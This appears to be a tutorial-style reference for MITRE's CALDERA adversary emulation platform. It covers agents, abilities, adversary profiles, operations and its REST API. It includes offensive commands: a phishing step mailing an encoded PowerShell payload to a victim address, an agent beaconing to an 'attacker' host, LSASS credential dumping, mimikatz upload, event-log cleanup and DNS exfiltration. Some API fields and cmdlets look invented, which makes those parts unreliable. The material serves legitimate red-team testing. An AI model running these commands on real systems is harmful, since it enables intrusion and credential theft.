CALDERA

CALDERA is MITRE’s automated adversary emulation platform that simulates realistic threats based on ATT&CK techniques, enabling red teams, purple teams, and security teams to test defenses and validate detection capabilities. It automates multi-stage attack campaigns with intelligent planning, obfuscation, and detailed reporting.

Installation

Clone the CALDERA repository and install dependencies:

git clone https://github.com/mitre/caldera.git
cd caldera
pip install -r requirements.txt

Start the server with default configuration:

python server.py

Server runs on http://localhost:8888 by default. For production deployments with custom ports:

python server.py --host 0.0.0.0 --port 9999

For verbose logging and debugging:

python server.py --log DEBUG

Install optional plugin dependencies (stockpile, compass, response):

pip install -r plugins/stockpile/requirements.txt
pip install -r plugins/compass/requirements.txt
pip install -r plugins/response/requirements.txt

Quick Start

Default credentials are red:password. Access the CALDERA web UI at http://localhost:8888 and login. The Stockpile plugin provides 1000+ default abilities covering the full ATT&CK framework. Create your first adversary profile and launch an operation within minutes.

Navigate to Adversary tab to browse available abilities. Select Operations to create a new campaign. Choose an adversary profile and target group, then execute. Monitor real-time operation progress in the dashboard with ATT&CK Navigator heatmap visualization.

Agents

CALDERA supports multiple agent types for different environments and attack scenarios.

Sandcat (Go Agent) is the primary agent, lightweight and cross-platform:

# Generate Sandcat payload (Linux 64-bit)
curl -X POST http://localhost:8888/api/v2/agents -H "Accept: application/json" \
  -d '{"payload": "sandcat.go-linux"}' | jq

# Generate for Windows
curl -X POST http://localhost:8888/api/v2/agents -H "Accept: application/json" \
  -d '{"payload": "sandcat.go-windows"}' | jq

Manx is a reverse shell agent useful for low-resource environments:

# Manx payload with callback interval
curl -X POST http://localhost:8888/api/v2/agents \
  -d '{"payload": "manx", "sleep_max": 30}' | jq

Ragdoll is a Python agent for post-exploitation:

# Deploy Ragdoll with custom beacon interval
python ragdoll_payload.py --server http://attacker:8888 --sleep 60

Agent deployment across target systems:

# Deploy via phishing email payload delivery
- ability_id: attack.t1566.002
  executor: cmd
  command: |
    echo "powershell.exe -e PAYLOAD_BASE64" | mail target@victim.com

# Deploy via initial access plugin (access)
# Generates payloads for initial compromise vectors

Agent groups organize agents by function or target environment:

# List agents in a group
curl http://localhost:8888/api/v2/agents?group=red-team

# Move agent to group
curl -X PUT http://localhost:8888/api/v2/agents/AGENT_ID \
  -d '{"group": "new-group"}'

Trust levels control agent autonomy (1-100):

# Set agent trust level (higher = more autonomous)
curl -X PUT http://localhost:8888/api/v2/agents/AGENT_ID \
  -d '{"trust": 75}'

Abilities

Abilities are atomic actions mapped to ATT&CK techniques. Each ability is a reusable building block executed across multiple platforms.

ATT&CK technique mappings tie abilities to official framework:

---
name: 'Create User Account'
description: 'Create a local user account (T1136.001)'
tactic: privilege-escalation
technique:
  attack_id: T1136.001
  name: 'Create Account: Local Account'

Creating custom abilities in YAML:

---
id: custom-ability-001
name: 'Harvest Credentials from LSASS'
description: 'Dump LSASS memory for credential extraction'
tactic: credential-access
technique:
  attack_id: T1003.001
  name: 'OS Credential Dumping: LSASS Memory'
platforms:
  - windows
executors:
  - name: psh
    command: |
      Get-Process lsass | Invoke-ProcessDump -Credentials
    parsers:
      - ability_id: parser-cred-dump
        line_split: '\r\n'
        timestamp_regex: '(\d{4}-\d{2}-\d{2})'

Executors target different platforms and command interpreters:

executors:
  - name: sh           # Unix/Linux shell
    platform: linux
    command: cat /etc/passwd
  - name: psh          # PowerShell (Windows)
    platform: windows
    command: Get-LocalUser
  - name: cmd          # Windows cmd.exe
    platform: windows
    command: net user
  - name: python       # Python interpreter
    platform: windows,linux,darwin
    command: import os; os.system('id')

Payloads are files deployed alongside abilities:

# Reference payload in ability
{{payloads.mimikatz.exe}}

# Deploy with file executor
curl -X POST http://localhost:8888/api/v2/file/payloads/upload \
  -F "file=@mimikatz.exe"

Adversary Profiles

Adversary profiles bundle sets of abilities into coherent threat emulation personas based on real-world threat actors.

Create adversary profile from existing abilities:

---
id: apt28-emulation
name: 'APT28 Campaign Emulation'
description: 'Based on MITRE ATT&CK APT28 profile'
adversary_type: 'nation-state'
abilities:
  - ability-discovery-system-info        # T1082
  - ability-execution-powershell         # T1059.001
  - ability-lateral-movement-psexec      # T1021.002
  - ability-credential-dumping-lsass     # T1003.001
  - ability-exfiltration-dns             # T1048.003

Atomic ordering sequences abilities in logical attack phases:

objectives:
  - id: initial-reconnaissance
    name: 'Discover Target Environment'
    abilities: [t1082, t1083, t1087]
  - id: privilege-escalation
    name: 'Escalate to Administrator'
    abilities: [t1134, t1548, t1136]
  - id: persistence
    name: 'Establish Foothold'
    abilities: [t1547, t1098, t1547.001]
  - id: data-exfiltration
    name: 'Extract Data'
    abilities: [t1020, t1041, t1048]

Operations

Operations execute adversary profiles against target groups with full control over planning strategy and obfuscation.

Run operation via API:

curl -X POST http://localhost:8888/api/v2/operations \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Red Team Exercise 2026",
    "adversary_id": "apt28-emulation",
    "planner_id": "atomic",
    "group_id": "red-agents",
    "source_id": "operations",
    "auto_close": false,
    "obfuscators": ["base64"],
    "jitter": "2 4"
  }'

Planners determine ability execution order and timing:

Planner	Behavior	Use Case
atomic	Execute abilities sequentially, one per agent per cycle	Precise control, deterministic
batch	Run all abilities immediately in parallel	Speed, stress-testing
buckets	Group abilities by fact requirements (ATT&CK pattern)	Logical dependencies
lookahead	Plan multiple steps ahead based on fact state	Complex multi-stage campaigns

Select planner when creating operation:

curl -X POST http://localhost:8888/api/v2/operations \
  -d '{
    "planner_id": "lookahead",
    "lookahead_steps": 3
  }'

Obfuscation encodes commands before execution:

# Available obfuscators: base64, base64-url, base32, xor, caesar, simple-sub
curl -X POST http://localhost:8888/api/v2/operations \
  -d '{
    "obfuscators": ["base64", "base32"],
    "jitter": "2 8"  # Random 2-8 second delay between actions
  }'

Cleanup removes artifacts after operation:

# Add cleanup phase to adversary profile
cleanup:
  - ability_id: cleanup-event-logs       # T1070.001
  - ability_id: cleanup-temporary-files  # T1070.004
  - ability_id: cleanup-registry         # T1112

Enable auto-cleanup in operation settings to execute cleanup abilities at conclusion.

Plugins

CALDERA’s plugin architecture extends core functionality with additional capabilities.

Stockpile provides 1000+ default abilities covering all ATT&CK techniques:

# Enable in conf/default.yml
plugins:
  - stockpile

# Browse abilities in web UI under Abilities tab
# All abilities tagged with ATT&CK technique ID

Compass visualizes operations as interactive ATT&CK Navigator layers:

# Enable compass plugin
plugins:
  - compass

# Generate ATT&CK layer after operation
curl http://localhost:8888/api/v2/operations/OP_ID/report \
  -H "Accept: application/json" > operation_heatmap.json

# Import into ATT&CK Navigator for visualization

Access generates initial access payloads for various delivery vectors:

plugins:
  - access

# Generate phishing payload
curl -X POST http://localhost:8888/api/v2/access/payloads \
  -d '{
    "delivery_method": "email",
    "payload_type": "sandcat.go-windows",
    "obfuscation": "base64"
  }'

Response enables automated incident response automation during red team exercises:

plugins:
  - response

# Record defensive actions taken during operation
# Measure MTTD (mean time to detect) and MTTR (mean time to respond)

Training plugin provides guided learning paths for CALDERA concepts. Caltack integrates with MITRE ATT&CK API for real-time technique metadata.

Fact Sources and Rules

Facts are observable data from target systems used for intelligent planning and decision-making.

Define facts from command output:

---
id: fact-parser-ifconfig
name: 'Parse ifconfig output'
parsers:
  - key: 'network.interface.ip'
    regex: 'inet addr:(\d+\.\d+\.\d+\.\d+)'
    values: 'ip_address'

Fact relationships link discoveries across targets:

relationships:
  - source: 'user.name'
    edge: 'has_credential'
    target: 'credential.password'
    
  - source: 'host.name'
    edge: 'has_user'
    target: 'user.name'

Rules enforce logic gates for ability execution:

---
id: rule-lateral-movement
name: 'Only execute lateral movement if credentials found'
conditions:
  - fact: 'credential.username'
    operator: 'exists'
  - fact: 'credential.hash'
    operator: 'is_not_empty'
action: 'execute_ability'
ability_id: 'attack.t1021.002'

Planning

Planners determine adversary strategy during operation execution.

Atomic planner executes one ability per agent per cycle:

planning:
  strategy: atomic
  cycles: 10
  wait_time: 30  # seconds between cycles

Batch planner runs all available abilities immediately:

planning:
  strategy: batch
  parallel_execution: true

Buckets planner groups abilities by required facts before execution:

planning:
  strategy: buckets
  fact_requirement_mode: 'all'  # All facts must exist

Lookahead planner plans multiple steps ahead using goal-based heuristics:

planning:
  strategy: lookahead
  lookahead_steps: 5
  goals:
    - 'privilege_escalation'
    - 'persistence'
    - 'data_exfiltration'

Custom planner development in Python:

from plugins.stockpile.app.planner import Planner

class CustomPlanner(Planner):
    def __init__(self):
        super().__init__('custom', 'Custom planning logic')
    
    def plan(self, operation):
        # Custom planning algorithm
        return sorted_abilities

Reporting

Generate comprehensive operation reports and ATT&CK coverage analysis.

Operation report via API:

curl http://localhost:8888/api/v2/operations/OP_ID/report \
  -H "Accept: application/json" > operation_report.json

JSON export for custom processing:

{
  "operation_id": "OP_12345",
  "adversary": "APT28",
  "start_time": "2026-04-17T10:30:00Z",
  "end_time": "2026-04-17T14:45:30Z",
  "steps": [
    {
      "ability_id": "T1082",
      "status": "success",
      "output": "system info...",
      "agent_id": "AGENT_001"
    }
  ],
  "attack_techniques": ["T1082", "T1083", "T1087"]
}

ATT&CK Navigator layers visualization:

# Export operation as ATT&CK Navigator JSON
curl http://localhost:8888/api/v2/operations/OP_ID/navigator \
  -H "Accept: application/json" > navigator_layer.json

# Open in MITRE ATT&CK Navigator UI at navigator.mitre.org

Debrief plugin collects operation metrics and recommendations:

plugins:
  - debrief

# Generates MTTD, MTTR, technique coverage statistics
# Provides recommendations for detection improvements

API Reference

CALDERA exposes full REST API for programmatic operation control.

Authentication using API token (set in conf/default.yml):

curl http://localhost:8888/api/v2/operations \
  -H "Authorization: Bearer YOUR_API_KEY"

Create operation programmatically:

curl -X POST http://localhost:8888/api/v2/operations \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Automated Red Team",
    "adversary_id": "apt28",
    "group_id": "windows-targets",
    "planner_id": "lookahead",
    "auto_close": true,
    "obfuscators": ["base64"]
  }' | jq '.operation_id'

Deploy agent via API:

curl -X POST http://localhost:8888/api/v2/agents \
  -H "Content-Type: application/json" \
  -d '{
    "platform": "windows",
    "architecture": "x64",
    "payload": "sandcat.go-windows",
    "group": "red-agents"
  }' > agent_payload.exe

List agents with status:

curl http://localhost:8888/api/v2/agents | jq '.agents[] | {id, group, platform, last_seen}'

Upload ability programmatically:

curl -X POST http://localhost:8888/api/v2/abilities \
  -H "Content-Type: application/yaml" \
  --data-binary @custom_ability.yml

Get operation results in real-time:

curl http://localhost:8888/api/v2/operations/OP_ID/steps \
  | jq '.steps[] | {ability_id, status, output}'

Troubleshooting

Agents not checking in: Verify firewall allows outbound connections to CALDERA server. Check agent logs for callback errors. Ensure correct server IP/hostname in agent payload.

Operations stuck planning: Planners may be waiting for facts. Verify agents are executing successfully and outputting expected data. Check fact parser regex in ability YAML.

Permission denied errors: Abilities executing as unprivileged user. Request elevated agent execution: curl -X PUT /agents/AGENT_ID -d '{"elevated": true}'

Port 8888 already in use: Specify alternate port: python server.py --port 9999

Memory issues on large operations: Reduce parallel execution. Use atomic planner instead of batch. Increase server RAM for 1000+ agent operations.

Best Practices

• Plan comprehensively: Use lookahead planner for multi-stage campaigns. Define clear objectives and success criteria upfront.
• Test abilities first: Validate custom abilities in isolated lab before production red team exercises.
• Use fact-driven planning: Define parsers and rules to enable intelligent ability chaining based on discovered information.
• Obfuscate appropriately: Match obfuscation complexity to target defenses. Heavy obfuscation increases OPSEC but may slow execution.
• Log everything: Enable verbose logging for debrief analysis. Capture MTTD/MTTR metrics for defensive improvement.
• Version control profiles: Store adversary profiles and custom abilities in git with change tracking.
• Coordinate cleanup: Ensure cleanup abilities execute properly to remove operational artifacts.
• Red/blue teamwork: Debrief results with blue team to identify gaps. Use metrics to drive detection engineering.

Related Tools

Atomic Red Team (github.com/redcanaryco/atomic-red-team) provides atomic test cases for each ATT&CK technique. Integration with CALDERA via custom abilities enables rapid test automation.

AttackIQ commercial platform offers similar red team automation with additional EDR/SIEM integration capabilities.

MITRE ATT&CK Navigator (navigator.mitre.org) visualizes technique coverage and creates custom ATT&CK layers. Export CALDERA operation results as Navigator JSON for heatmap analysis.

Cobalt Strike commercial C2 integrates with CALDERA for red team persistence and advanced post-exploitation.

Empire/PowerShell Empire integrates with CALDERA agents for Windows post-exploitation with stager payloads.